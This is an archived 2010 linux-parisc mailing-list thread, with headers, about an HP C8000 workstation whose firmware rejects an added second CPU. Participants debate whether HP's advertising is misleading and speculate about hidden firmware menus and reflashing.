Approved: news@gmane.org
Message-ID: <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1287854111 21196 80.91.229.12 (23 Oct 2010 17:15:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 17:15:11 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 19:15:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9hgO-0001nd-CV
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 19:15:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758091Ab0JWRPC convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 13:15:02 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:50346 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757467Ab0JWRPB convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 13:15:01 -0400
Original-Received: by bwz11 with SMTP id 11so1355328bwz.19
        for <linux-parisc@vger.kernel.org>; Sat, 23 Oct 2010 10:15:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=lmA17rHZtBXuhMfBuqkXcZCmNovReB0WRnkQL+WtAmM=;
        b=D+ukBoYElc7IwB6TBEuCAiieJkJCwJlBJwUVGJlqQOY78OviYwV6NXw1+H2wfpDnDP
         sISX0u5/DMlR8QTqQwx07kySQgcFRT5FUD0UOFjBfWtBgoYcpNLBzcbJN8RERIe/D6/m
         SeTVE5iaYxge01s/j+UDbdISAQZh9/M/RjjeQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=vXtjqnRwTfEdjYdfYJ3DL6Q4Kb3H794ZliT9ckxCZcp410SHJimoC/W1mcRWC7qCaA
         DPnYnjUaF//y4OCI+QbmX133KZb4LskrhHpyjVGZRQXQQliWmdxU1LUx69kYQaSSIyZf
         A/Wlko5f5oqmpz2207498COGXADs1kjP8TLww=
Original-Received: by 10.204.79.129 with SMTP id p1mr3412329bkk.59.1287854099372; Sat,
 23 Oct 2010 10:14:59 -0700 (PDT)
Original-Received: by 10.204.47.147 with HTTP; Sat, 23 Oct 2010 10:14:39 -0700 (PDT)
In-Reply-To: <1287853058.3003.18.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3147>

On Sat, Oct 23, 2010 at 12:57 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sat, 2010-10-23 at 16:46 +0200, Mikulas Patocka wrote:
>>
>> On Sat, 23 Oct 2010, Carlos O'Donell wrote:
>>
>> > On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
>> > <mikulas@artax.karlin.mff.cuni.cz> wrote:
>> > > On Fri, 22 Oct 2010, Carlos O'Donell wrote:
>> > >> AFAIK you can't add a second CPU without an HP technician enabl=
ing the
>> > >> firmware for a second CPU.
>> > >>
>> > >> The same goes for enabling additional PCI slots.
>> > >>
>> > >> Cheers,
>> > >> Carlos.
>> > >
>> > > And is there some hack that enables it?
>> > >
>> > > It looks quite dishonest to me when the machine is advertised as=
 capable
>> > > of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get t=
his
>> > > advertised capability only if you buy expensive support contract=
 :-(
>> >
>> > I know of no hack.
>> >
>> > It is not dishonest, the original purchase contract for the machin=
e
>> > probably said "1 active CPU slot" and "1 active PCI-X slot."
>> >
>> > Cheers,
>> > Carlos.
>>
>> It looks like false advertising to me. It is immoral (and in many
>> countries illegal) to advertise the product having some capabilities=
 and
>> then selling the product not having the capabilities. Purchase contr=
act is
>> irelevant, what is relevant are the public statements about the prod=
uct
>> and the real status of the product.
>
> It's fairly standard for the enterprise space: =A0Both HP and IBM act=
ually
> sell boxes fully loaded but disable unpaid for capabilities in the
> firmware (i.e. sell you a 2-cpu box that really contains 4 cpus so th=
ey
> then sell a firmware upgrade as two extra cpus); enterprise users
> actually like the convenience of not having to haul away and replace =
the
> box.
>
>> HP claims that c8000 workstation is extendible to two processors. Su=
ch
>> claims are implicit (feature lists, listing up to two dual core 1.1G=
Hz
>> processors) and explicit (citing
>> http://www.hp.com/workstations/white_papers/docs/hp_workstation_c800=
0_po.pdf
>> "Robust expansion capabilities, including two processor sockets and =
four
>> disk bays, let you grow and configure the system as needed").
>
> My garage is extensible too ... but I'd still have to pay a builder t=
o
> build the extension.

You forgot the part where you have to buy a support contract with the
builder for a one-off project.

Oh, and the part where you're more than capable of doing the building
yourself, but you can't because the builder hasn't approved the lumber
you bought to work with your particular mode of garage.

>> HP sells a computer that it claims to be c8000 and that the user can=
not
>> expand to two processors, contrary to the claims in the whitepaper.
>
> The whitepaper only claims they are extensible (which they are) it
> doesn't claim the user can do the extension (because they can't).
>
>> These claims really deceive users, both me and the person who sold m=
e the
>> CPU were deceived by them.
>>
>> Anyone living in the US and wanting to file a complain to FTC about =
these
>> computers falsely advertised as expandable? :)
>
> The FTC would take the view that it's standard industry practise and
> that you didn't do due diligence ...
>
> However, why don't you try what we usually do? =A0That's ask HP nicel=
y
> (via someone in their linux department) for the firmware upgrade; it'=
s
> mostly worked in the past ... assuming you haven't antagonised them t=
oo
> much by calling them liars and cheats, that is ...

Poor HP.

Seriously though. From a glance, the C8000 seems to be the most
capable PA-RISC system for someone who wants to help with
Linux-on-PARISC. Clearly, people like upgrading (and being able to
upgrade) their computers. If I were to buy a C8000 I'd be interested
in figuring out how to find a second CPU, add more RAM, and install
another PCI card. But these debilitating restrictions prevent any of
this.

So, my question is, if you and Carlos knew about this previously
(which I assume you did by your responses, but I may be wrong) then
why can I not find this information anywhere on parisc-linux.org or in
the appropriate mailing list archives?

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 13:41:06 -0400
Organization: nrc.ca
Lines: 36
Approved: news@gmane.org
Message-ID: <20101023174106.GA23041@hiauly1.hia.nrc.ca>
References: <20101023154718.9C2344D30@hiauly1.hia.nrc.ca> <alpine.DEB.1.10.1010231757360.18664@artax.karlin.mff.cuni.cz>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287855676 27133 80.91.229.12 (23 Oct 2010 17:41:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 17:41:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 19:41:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9i5i-0007pX-9Y
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 19:41:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755983Ab0JWRlJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 13:41:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1201 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755543Ab0JWRlI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 13:41:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8359F4D30; Sat, 23 Oct 2010 13:41:07 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010231757360.18664@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3148>

On Sat, 23 Oct 2010, Mikulas Patocka wrote:

> It showed "WARNING: Too many CPUs for this system." and the new cpu wasn't 
> shown in "IN PR" command. Also, "BO" command refused to boot becuase of 
> the warning.

I would check system LEDs to see if a fault is indicated.  Also, look
for relevant errors in the service error logs.

Are both processor modules same speed and cache?

The following suggests Carlos is correct:

http://forums13.itrc.hp.com/service/forums/questionanswer.do?admit=109447627+1287851022683+28353475&threadId=1251754

In reviewing the technical reference, I don't see any warning that
upgrading/replacing a processor module may require a HP technician
to reset the system configuration.

In the section on replacing the system board, it says to use the ss_update
utility in the BCH Service menu to reset the serial number.  Is the MFG
menu accessible?  There may be some hidden commands to setup config.

It appears that processors have to be installed in the correct slot
since the BCH has the following warning:
WARNING: Processors are not installed in the correct order.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 19:53:49 +0200 (CEST)
Lines: 56
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231947430.26539@artax.karlin.mff.cuni.cz>
References: <20101023154718.9C2344D30@hiauly1.hia.nrc.ca> <alpine.DEB.1.10.1010231757360.18664@artax.karlin.mff.cuni.cz> <20101023174106.GA23041@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287856433 30166 80.91.229.12 (23 Oct 2010 17:53:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 17:53:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 19:53:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9iHv-0002V3-08
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 19:53:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756877Ab0JWRxu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 13:53:50 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:40018 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756255Ab0JWRxu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 13:53:50 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 11EDA9815F; Sat, 23 Oct 2010 19:53:49 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 0E5FF9815D;
	Sat, 23 Oct 2010 19:53:49 +0200 (CEST)
In-Reply-To: <20101023174106.GA23041@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3149>



On Sat, 23 Oct 2010, John David Anglin wrote:

> On Sat, 23 Oct 2010, Mikulas Patocka wrote:
> 
> > It showed "WARNING: Too many CPUs for this system." and the new cpu wasn't 
> > shown in "IN PR" command. Also, "BO" command refused to boot becuase of 
> > the warning.
> 
> I would check system LEDs to see if a fault is indicated.  Also, look
> for relevant errors in the service error logs.

LEDs 2 and 3 are red --- just like a normal boot, when the machine is 
waiting in the PDC menu for the boot command.

> Are both processor modules same speed and cache?

Yes.

> The following suggests Carlos is correct:
> 
> http://forums13.itrc.hp.com/service/forums/questionanswer.do?admit=109447627+1287851022683+28353475&threadId=1251754

Yes, I found it too.

> In reviewing the technical reference, I don't see any warning that
> upgrading/replacing a processor module may require a HP technician
> to reset the system configuration.
> 
> In the section on replacing the system board, it says to use the ss_update
> utility in the BCH Service menu to reset the serial number.  Is the MFG
> menu accessible?  There may be some hidden commands to setup config.

There is a service menu, but no mfg menu and no ss_update command.

Interesting ... "mfg" gives "ERROR: Unsupported command" while any other 
bad commands gives "ERROR: Unknown command".

So there is something magic abouth that "mfg" menu, but it's inaccessible.

> It appears that processors have to be installed in the correct slot
> since the BCH has the following warning:
> WARNING: Processors are not installed in the correct order.
>
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 14:11:09 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20101023181110.9CE914E7B@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010231947430.26539@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287857476 2100 80.91.229.12 (23 Oct 2010 18:11:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 18:11:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: mikulas@artax.karlin.mff.cuni.cz (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 20:11:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9iYj-0006sc-6G
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 20:11:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757971Ab0JWSLM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 14:11:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1205 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757279Ab0JWSLL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 14:11:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9CE914E7B; Sat, 23 Oct 2010 14:11:10 -0400 (EDT)
In-Reply-To: <alpine.DEB.1.10.1010231947430.26539@artax.karlin.mff.cuni.cz> from "Mikulas Patocka" at Oct 23, 2010 07:53:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3150>

> > In the section on replacing the system board, it says to use the ss_update
> > utility in the BCH Service menu to reset the serial number.  Is the MFG
> > menu accessible?  There may be some hidden commands to setup config.
> 
> There is a service menu, but no mfg menu and no ss_update command.
> 
> Interesting ... "mfg" gives "ERROR: Unsupported command" while any other 
> bad commands gives "ERROR: Unknown command".
> 
> So there is something magic abouth that "mfg" menu, but it's inaccessible.

The mfg menu was shown in an online document about setting up the c8000.

I would guess that ss_update command and mfg menu disappear after
the unit has been configured.  Probably, the configuration data needs
to be erased/reset to restore the menu.  Possibly, reflashing the
bch firmware would do it, or maybe there is a ODE command to reset
the config.

You might try downloading the firmware update.  At least for the
rp3440, one burns an ODE CD.  Then, one boots the CD and uses various
ODE commands to flash the firmware.  There was definitely a lot
more stuff on the CD than just the utilities to flash the firmware.
Of course, one mistake and you brick the system.  It would probably
take HP specific JTAG tools to recover.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 20:20:45 +0200 (CEST)
Lines: 89
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>  <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>  <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>  <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
  <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287858051 4210 80.91.229.12 (23 Oct 2010 18:20:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 18:20:51 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 20:20:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9ihz-0001M1-Aq
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 20:20:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757563Ab0JWSUq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 14:20:46 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:57655 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756357Ab0JWSUq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 14:20:46 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 1AC889811A; Sat, 23 Oct 2010 20:20:45 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 1931498112;
	Sat, 23 Oct 2010 20:20:45 +0200 (CEST)
In-Reply-To: <1287853058.3003.18.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3151>

> > It looks like false advertising to me. It is immoral (and in many 
> > countries illegal) to advertise the product having some capabilities and 
> > then selling the product not having the capabilities. Purchase contract is 
> > irelevant, what is relevant are the public statements about the product 
> > and the real status of the product.
> 
> It's fairly standard for the enterprise space:  Both HP and IBM actually
> sell boxes fully loaded but disable unpaid for capabilities in the
> firmware (i.e. sell you a 2-cpu box that really contains 4 cpus so they
> then sell a firmware upgrade as two extra cpus); enterprise users
> actually like the convenience of not having to haul away and replace the
> box.

This is a different case. You can't accuse a contractor if you order two 
CPUs and get four :)

> > HP claims that c8000 workstation is extendible to two processors. Such 
> > claims are implicit (feature lists, listing up to two dual core 1.1GHz 
> > processors) and explicit (citing 
> > http://www.hp.com/workstations/white_papers/docs/hp_workstation_c8000_po.pdf 
> > "Robust expansion capabilities, including two processor sockets and four 
> > disk bays, let you grow and configure the system as needed").
> 
> My garage is extensible too ... but I'd still have to pay a builder to
> build the extension.

... or you can build the garage extension yourself. Obviously, you lose 
guaranty if you do, but you can still do it.

If I take the analogy with a garage ... the garage builder puts a sensor 
in your garage that measures how big the garage is (and it is deliberately 
welded hard so that it's hard to remove). When you extend the garage, the 
sensor notices the nonstandard size and locks the garage door so that you 
can't use the garage.

> > HP sells a computer that it claims to be c8000 and that the user cannot 
> > expand to two processors, contrary to the claims in the whitepaper.
> 
> The whitepaper only claims they are extensible (which they are) it
> doesn't claim the user can do the extension (because they can't).

It says "lets YOU grow and configure the system as needed". There is that 
pronoun "YOU".

> > These claims really deceive users, both me and the person who sold me the 
> > CPU were deceived by them.
> > 
> > Anyone living in the US and wanting to file a complain to FTC about these 
> > computers falsely advertised as expandable? :)
> 
> The FTC would take the view that it's standard industry practise and
> that you didn't do due diligence ... 

I'm interested ... does HP anywhere in its materials mention the firmware 
locks? They are not even in the technical guide in the section that 
mentions adding a CPU.

So if I should perform due diligence where should I find out about the 
locks?

I don't even know which locks are in my machine --- I added 1GB memory and 
a 32-bit PCI serial card and it worked ... how can I find what else can or 
can't I add?

For example: Can I replace the 0.9GHz CPU with a faster 1.1GHz? 
(obviously, it is needed to know it before purchasing the CPU)

> However, why don't you try what we usually do?  That's ask HP nicely 
> (via someone in their linux department) for the firmware upgrade; it's 
> mostly worked in the past ... assuming you haven't antagonised them too 
> much by calling them liars and cheats, that is ...
> 
> James

That's why I asked here ... without accussing anyone of lying first ... 
assuming that there are Linux hackers on this list, they have thorough 
knowledge of the hardware and they'll say something like "run this command 
in PDC" or "flip byte at that address in nvram to that value and unlock 
it".

But it seems that people on this list don't know about those HP locks too 
:-(

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 20:33:08 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010232025080.26539@artax.karlin.mff.cuni.cz>
References: <20101023181110.9CE914E7B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287858795 7015 80.91.229.12 (23 Oct 2010 18:33:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 18:33:15 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 20:33:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9iu1-00040E-SR
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 20:33:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757416Ab0JWSdJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 14:33:09 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:44831 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754671Ab0JWSdJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 14:33:09 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 8465A98143; Sat, 23 Oct 2010 20:33:08 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 8312A9811F;
	Sat, 23 Oct 2010 20:33:08 +0200 (CEST)
In-Reply-To: <20101023181110.9CE914E7B@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3152>



On Sat, 23 Oct 2010, John David Anglin wrote:

> > > In the section on replacing the system board, it says to use the ss_update
> > > utility in the BCH Service menu to reset the serial number.  Is the MFG
> > > menu accessible?  There may be some hidden commands to setup config.
> > 
> > There is a service menu, but no mfg menu and no ss_update command.
> > 
> > Interesting ... "mfg" gives "ERROR: Unsupported command" while any other 
> > bad commands gives "ERROR: Unknown command".
> > 
> > So there is something magic abouth that "mfg" menu, but it's inaccessible.
> 
> The mfg menu was shown in an online document about setting up the c8000.
> 
> I would guess that ss_update command and mfg menu disappear after
> the unit has been configured.  Probably, the configuration data needs
